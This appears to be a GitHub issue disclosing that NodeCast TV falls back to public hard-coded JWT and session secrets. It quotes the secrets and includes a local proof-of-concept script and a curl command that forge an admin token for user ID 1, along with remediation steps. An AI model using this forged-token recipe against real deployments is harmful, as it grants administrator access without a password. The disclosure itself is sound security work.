Skip to content

[BUG] NodeCast TV uses public fallback secrets for JWT and Express sessions #151

Description

@28Hus

NodeCast TV uses public fallback secrets for JWT and Express sessions

Summary

NodeCast TV contains two public authentication-related fallback values:

JWT fallback:     nodecast-tv-secret-key-change-in-production
Session fallback: keyboard cat

The JWT fallback can enable administrator authentication without a password when JWT_SECRET is not configured. The session fallback is a separate weak cookie-signing secret. In the current code, it does not by itself prove an administrator bypass because Express Session stores state server-side and the login routes use session: false.

Verdict

  • JWT chain: conditional authentication bypass
  • Express Session chain: hard-coded session-signing secret; current privilege impact not proven
  • CWE: CWE-321; CWE-798 may also apply when the fallback is deployed as an authentication credential
  • Commit: 0e26a90dae211cf9ed4c7adc8941ec9fbddec972

JWT chain

Public signing key

server/auth.js#L13-L15

const JWT_SECRET = process.env.JWT_SECRET || 'nodecast-tv-secret-key-change-in-production';
const JWT_EXPIRY = '24h';

The same value signs and verifies bearer JWTs:

server/auth.js#L32-L56

return jwt.sign(
    { id: user.id, username: user.username, role: user.role },
    JWT_SECRET,
    { expiresIn: JWT_EXPIRY }
);

return jwt.verify(token, JWT_SECRET);

Token ID selects the server-side user

The Passport JWT strategy verifies the signature, then loads a user by the attacker-controlled payload.id:

server/auth.js#L85-L110

const user = await getUserById(payload.id);

return done(null, {
    id: user.id,
    username: user.username,
    role: user.role
});

The role is correctly reloaded from the database. The weakness is that the known JWT key lets an attacker choose which database user ID is authenticated as.

The initial setup creates the first administrator, and IDs start at 1:

Administrator authorization checks the database-backed role:

server/auth.js#L228-L241

if (!req.user || req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden - Admin access required' });
}

For example, user-management routes require both JWT authentication and the admin role:

server/routes/users.js#L7-L30

Local PoC

Run only against a local copy. This PoC does not contact a NodeCast TV deployment.

cd nodecast-tv
npm install
node <<'EOF'
const jwt = require('jsonwebtoken');

const secret = 'nodecast-tv-secret-key-change-in-production';
const token = jwt.sign(
  { id: 1, username: 'forged', role: 'viewer' },
  secret,
  { expiresIn: '24h' }
);

const payload = jwt.verify(token, secret);
const databaseUser = { id: 1, username: 'local-admin', role: 'admin' };

if (payload.id !== databaseUser.id) throw new Error('wrong user ID');
if (databaseUser.role !== 'admin') throw new Error('database role is not admin');

console.log('PASS: public fallback signs a valid JWT for database user ID 1');
console.log('PASS: the strategy would authorize the selected database admin');
EOF

Expected output:

PASS: public fallback signs a valid JWT for database user ID 1
PASS: the strategy would authorize the selected database admin

For a complete local test after creating the initial administrator, send the generated token only to 127.0.0.1:

TOKEN=$(node -e "console.log(require('jsonwebtoken').sign({id:1,username:'local',role:'viewer'}, 'nodecast-tv-secret-key-change-in-production', {expiresIn:'24h'}))")
curl -i -H "Authorization: Bearer ${TOKEN}" http://127.0.0.1:3000/api/auth/users

This requires the local setup administrator to have ID 1. Do not run it against a public or third-party deployment.

Express Session chain

server/index.js#L20-L28

app.use(session({
    secret: process.env.JWT_SECRET || 'keyboard cat',
    resave: false,
    saveUninitialized: true
}));

When JWT_SECRET is absent, the Express Session cookie is signed with the public value keyboard cat. When JWT_SECRET is set, the same environment variable is reused by both JWT and Express Session.

This is a separate issue:

  • Express Session normally stores session data server-side.
  • The local login route uses passport.authenticate('local', { session: false }).
  • The OIDC callback also uses { session: false }.
  • The current source does not show a route that authenticates a user solely from a forged session cookie.

Therefore, keyboard cat proves a hard-coded session-signing weakness, but not a complete administrator bypass without a usable server-side session record, session fixation, or another route that trusts session data.

Conditions and impact

The JWT bypass requires:

  1. JWT_SECRET is unset or equals the public fallback.
  2. Setup has created a user with a known ID, especially the initial administrator at ID 1.
  3. The request reaches a Passport JWT-protected route.

Under these conditions, an attacker can authenticate as the selected existing user without that user's password. For ID 1, this can satisfy requireAdmin and reach administrator-only user-management operations.

If the operator configures a unique high-entropy JWT_SECRET, this specific fallback is not affected. A nonexistent user ID is also rejected by the database lookup.

Remediation

  1. Remove both fallback literals from production code.
  2. Refuse to start when JWT_SECRET is missing, short, or equal to a documented example value.
  3. Generate a unique high-entropy JWT secret during setup.
  4. Use a separate high-entropy secret for Express Session.
  5. Add token versioning or revocation if logout and role changes must invalidate old tokens.
  6. Add regression tests for a forged token selecting ID 1 and for a forged session cookie without a valid server-side session.

Related public examples

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions